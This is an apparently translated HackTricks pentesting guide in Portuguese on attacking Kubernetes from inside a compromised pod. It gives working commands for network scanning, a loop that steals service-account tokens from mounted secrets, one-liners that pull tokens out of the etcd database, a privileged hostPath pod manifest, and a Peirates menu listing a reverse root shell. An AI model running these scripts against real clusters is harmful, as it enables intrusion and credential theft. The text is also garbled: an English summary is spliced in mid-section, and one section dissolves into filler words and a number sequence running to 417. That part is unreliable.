Attacking Kubernetes from inside a Pod

Atacando o Kubernetes de dentro de um Pod

Apoie o HackTricks

Fuga do Pod

Se tiver sorte, pode conseguir escapar para o nó:

Escapando do pod

Para tentar escapar dos pods, você pode precisar elevar privilégios primeiro, algumas técnicas para fazer isso:

Você pode verificar essas fugas do Docker para tentar escapar de um pod comprometido:

Abusando dos Privilégios do Kubernetes

Como explicado na seção sobre enumeração do Kubernetes:

Kubernetes Enumeration

Normalmente, os pods são executados com um token de conta de serviço dentro deles. Esta conta de serviço pode ter alguns privilégios anexados que você poderia abusar para mover-se para outros pods ou até mesmo escapar para os nós configurados dentro do cluster. Veja como em:

Abusing Roles/ClusterRoles in Kubernetes

Abusando dos Privilégios na Nuvem

Se o pod é executado dentro de um ambiente de nuvem, você pode ser capaz de vazar um token do endpoint de metadados e elevar privilégios usando-o.

Pesquisar serviços de rede vulneráveis

Como você está dentro do ambiente do Kubernetes, se não conseguir elevar privilégios abusando dos privilégios atuais dos pods e não conseguir escapar do contêiner, você deve procurar serviços potencialmente vulneráveis.

Serviços

Para este propósito, você pode tentar obter todos os serviços do ambiente Kubernetes:

kubectl get svc --all-namespaces

Por padrão, o Kubernetes usa um esquema de rede plana, o que significa que qualquer pod/serviço dentro do cluster pode se comunicar com outros. Os namespaces dentro do cluster não possuem restrições de segurança de rede por padrão. Qualquer pessoa no namespace pode se comunicar com outros namespaces.

Escaneamento

O seguinte script Bash (retirado de um workshop do Kubernetes) irá instalar e escanear os intervalos de IP do cluster Kubernetes:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Dê uma olhada na seguinte página para aprender como você poderia atacar serviços específicos do Kubernetes para comprometer outros pods/todo o ambiente:

Pentesting Kubernetes Services

Sniffing

No caso do pod comprometido estar executando algum serviço sensível onde outros pods precisam autenticar, você pode ser capaz de obter as credenciais enviadas pelos outros pods farejando comunicações locais.

Network Spoofing

Por padrão, técnicas como ARP spoofing (e graças a isso DNS Spoofing) funcionam na rede do Kubernetes. Então, dentro de um pod, se você tiver a capacidade NET_RAW (que está lá por padrão), você poderá enviar pacotes de rede personalizados e realizar ataques de MitM via ARP Spoofing para todos os pods em execução no mesmo nó. Além disso, se o pod malicioso estiver em execução no mesmo nó que o Servidor DNS, você poderá realizar um ataque de DNS Spoofing para todos os pods no cluster.

Kubernetes Network Attacks

Node DoS

Não há especificação de recursos nos manifestos do Kubernetes e limites não aplicados para os contêineres. Como atacante, podemos consumir todos os recursos onde o pod/deployment está em execução e privar outros recursos, causando um DoS para o ambiente.

Isso pode ser feito com uma ferramenta como stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Você pode ver a diferença enquanto executa stress-ng e depois

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Pós-Exploração do Node

Se você conseguiu escapar do contêiner, encontrará algumas coisas interessantes no node:

  • O processo de Container Runtime (Docker)

  • Mais pods/contêineres em execução no node que você pode abusar como este (mais tokens)

  • Todo o sistema de arquivos e o SO em geral

  • O serviço Kube-Proxy ouvindo

  • O serviço Kubelet ouvindo. Verifique os arquivos de configuração:

    • Diretório: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Outros arquivos comuns do Kubernetes:

    • $HOME/.kube/config - Configuração do Usuário

    • /etc/kubernetes/kubelet.conf- Configuração Regular

    • /etc/kubernetes/bootstrap-kubelet.conf - Configuração de Inicialização

    • /etc/kubernetes/manifests/etcd.yaml - Configuração do etcd

    • /etc/kubernetes/pki - Chave do Kubernetes

Encontrar o kubeconfig do node

Se você não conseguir encontrar o arquivo kubeconfig em um dos caminhos comentados anteriormente, verifique o argumento --kubeconfig do processo kubelet:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Roubar Segredos

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

O script can-they.sh irá automaticamente obter os tokens de outros pods e verificar se eles têm a permissão que você está procurando (em vez de você verificar um por um):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

DaemonSets Privilegiados

Um DaemonSet é um pod que será executado em todos os nós do cluster. Portanto, se um DaemonSet for configurado com uma conta de serviço privilegiada, em TODOS os nós você será capaz de encontrar o token dessa conta de serviço privilegiada que você poderia abusar.

O exploit é o mesmo da seção anterior, mas agora você não depende da sorte.

Pivot para a Nuvem

Se o cluster for gerenciado por um serviço de nuvem, geralmente o Nó terá um acesso diferente ao endpoint de metadados do que o Pod. Portanto, tente acessar o endpoint de metadados a partir do nó (ou de um pod com hostNetwork para True):

Kubernetes Pivoting to Clouds

Roubar etcd

Se você puder especificar o nodeName do Nó que executará o contêiner, obtenha um shell dentro de um nó de plano de controle e obtenha o banco de dados etcd:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Os nós de control-plane têm a função de mestre e em clusters gerenciados na nuvem você não poderá executar nada neles.

Ler segredos do etcd

Se você puder executar seu pod em um nó de control-plane usando o seletor nodeName na especificação do pod, você pode ter acesso fácil ao banco de dados etcd, que contém toda a configuração do cluster, incluindo todos os segredos.

Abaixo está uma maneira rápida e suja de pegar segredos do etcd se ele estiver sendo executado no nó de control-plane em que você está. Se você deseja uma solução mais elegante que inicie um pod com a utilidade do cliente etcd etcdctl e use as credenciais do nó de control-plane para se conectar ao etcd onde quer que ele esteja sendo executado, confira este exemplo de manifesto de @mauilion.

Verifique se o etcd está sendo executado no nó de control-plane e veja onde o banco de dados está (Isso é em um cluster criado com kubeadm)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Atacando o Kubernetes de Dentro de um Pod

Ao executar um pod comprometido em um cluster Kubernetes, um invasor pode explorar várias técnicas para escalar seus privilégios e comprometer outros recursos no cluster. Algumas técnicas comuns incluem:

  1. Montagem de Volumes do Host: Montar o diretório raiz do host dentro do pod pode permitir que um invasor acesse outros pods e segredos sensíveis.

  2. Execução de Comandos Privilegiados: A execução de comandos com privilégios elevados dentro de um pod comprometido pode ajudar um invasor a obter controle total sobre o cluster.

  3. Exploração de Vulnerabilidades: Aproveitar vulnerabilidades conhecidas no Kubernetes ou em aplicações em execução no cluster para obter acesso não autorizado.

É crucial implementar práticas de segurança sólidas, como limitar as permissões dos pods e monitorar de perto o tráfego de rede, para proteger o cluster Kubernetes contra ataques internos.

data-dir=/var/lib/etcd

Visualizar os dados no banco de dados etcd:

strings /var/lib/etcd/member/snap/db | less

Extrair os tokens do banco de dados e mostrar o nome da conta de serviço

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Mesmo comando, mas com alguns greps para retornar apenas o token padrão no namespace kube-system

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, either through a compromised container or by exploiting a vulnerability, they can perform various malicious activities within the cluster. This section explores some common techniques attackers use to escalate privileges and move laterally within a Kubernetes cluster from inside a pod.

### Privilege Escalation

#### Exploiting Misconfigured RBAC Roles

Attackers can abuse misconfigured Role-Based Access Control (RBAC) roles to escalate their privileges within the cluster. By modifying existing roles or creating new ones, attackers can gain more permissions than intended, allowing them to access sensitive resources and perform unauthorized actions.

#### Accessing the Kubernetes API Server

Once inside a pod, attackers can attempt to access the Kubernetes API server using tools like `kubectl` or by sending direct API requests. If successful, attackers can gather valuable information about the cluster's configuration, deploy new workloads, or even delete existing resources.

### Lateral Movement

#### Pod Hopping

Attackers can move laterally within the cluster by compromising multiple pods. By exploiting vulnerabilities or weak configurations in other pods, attackers can pivot from one pod to another, gradually expanding their control and influence over the cluster.

#### Service Account Compromise

If an attacker compromises a pod's service account token, they can abuse it to authenticate to the Kubernetes API server and perform actions on behalf of the compromised pod. This can lead to further privilege escalation and unauthorized access to cluster resources.

### Conclusion

Securing Kubernetes clusters requires implementing strong security measures to prevent attackers from moving laterally and escalating privileges within the cluster. Regular security assessments, proper RBAC configurations, and monitoring for unauthorized activities are essential to maintaining a secure Kubernetes environment.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Persistência de Pods Estáticos/Refletidos

Pods Estáticos são gerenciados diretamente pelo daemon kubelet em um nó específico, sem que o servidor de API os observe. Ao contrário dos Pods gerenciados pelo plano de controle (por exemplo, um Deployment); em vez disso, o kubelet observa cada Pod estático (e o reinicia se falhar).

Portanto, os Pods estáticos estão sempre vinculados a um Kubelet em um nó específico.

O kubelet tenta automaticamente criar um Pod espelho no servidor de API do Kubernetes para cada Pod está do. Isso significa que os Pods em execução em um nó são visíveis no servidor de API, mas não podem ser controlados a partir dele. Os nomes dos Pods terão um sufixo com o nome do nó com um hífen inicial.

O spec de um Pod estático não pode se referir a outros objetos de API (por exemplo, ServiceAccount, ConfigMap, Secret, etc. Portanto, você não pode abusar desse comportamento para lançar um pod com uma ServiceAccount arbitrária no nó atual para comprometer o cluster. Mas você poderia usar isso para executar pods em namespaces diferentes (caso seja útil por algum motivo).

Se você estiver dentro do nó host, pode fazer com que ele crie um pod estático dentro dele mesmo. Isso é bastante útil porque pode permitir que você crie um pod em um namespace diferente, como kube-system.

Para criar um pod estático, a [̈ documentação é de grande ajuda. Basicamente, você precisa de 2 coisas:

  • Configurar o parâmetro --pod-manifest-path=/etc/kubernetes/manifests no serviço kubelet, ou no config kubelet (staticPodPath) e reiniciar o serviço

  • Criar a definição no **arquivo de def historians. is of Real

.

of of of of of of of of of of .

                            of    .

3. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. 163. 164. 165. 166. 167. 168. 169. 170. 171. 172. 173. 174. 175. 176. 177. 178. 179. 180. 181. 182. 183. 184. 185. 186. 187. 188. 189. 190. 191. 192. 193. 194. 195. 196. 197. 198. 199. 200. 201. 202. 203. 204. 205. 206. 207. 208. 209. 210. 211. 212. 213. 214. 215. 216. 217. 218. 219. 220. 221. 222. 223. 224. 225. 226. 227. 228. 229. 230. 231. 232. 233. 234. 235. 236. 237. 238. 239. 240. 241. 242. 243. 244. 245. 246. 247. 248. 249. 250. 251. 252. 253. 254. 255. 256. 257. 258. 259. 260. 261. 262. 263. 264. 265. 266. 267. 268. 269. 270. 271. 272. 273. 274. 275. 276. 277. 278. 279. 280. 281. 282. 283. 284. 285. 286. 287. 288 hi 289. 290. 291. 292. 293. 294. 295. 296. 297. 298. 299. 300. 301. 302. 303. 304. 305. 306. 307. 308. 309. 310. 311. 312. 313. 314. 315. 316. 317. 318. 319. 320. 321. 322. 323. 324. 325. 326. 327. 328. 329. 330. 331. 332. 333. 334. 335. 336. 337. 338. 339. 340. 341. 342. 343. 344. 345. 346. 347. 348. 349. 350. 351. 352. 353. 354. 355. 356. 357. 358. 359. 360. 361. 362. 363. 364. 365. 366. 367. 368. 369. 370. 371. 372. 373. 374. 375. 376. 377. 378. 379. 380. 381. 382. 383. 384. 385. 386. 387. 388. 389. 390. 391. 392. 393. 394. 395. 396. 397. 398. 399. 400. 401. 402. 403. 404. 405. 406. 407. 408. 409. 410. 411. 412. 413. 414. 415. 416. 417
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Excluir pods + nós não escalonáveis

Se um atacante comprometeu um nó e ele pode excluir pods de outros nós e impedir que outros nós executem pods, os pods serão reiniciados no nó comprometido e ele poderá roubar os tokens executados neles. Para mais informações siga estes links.

Ferramentas Automáticas

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Suporte o HackTricks

Last updated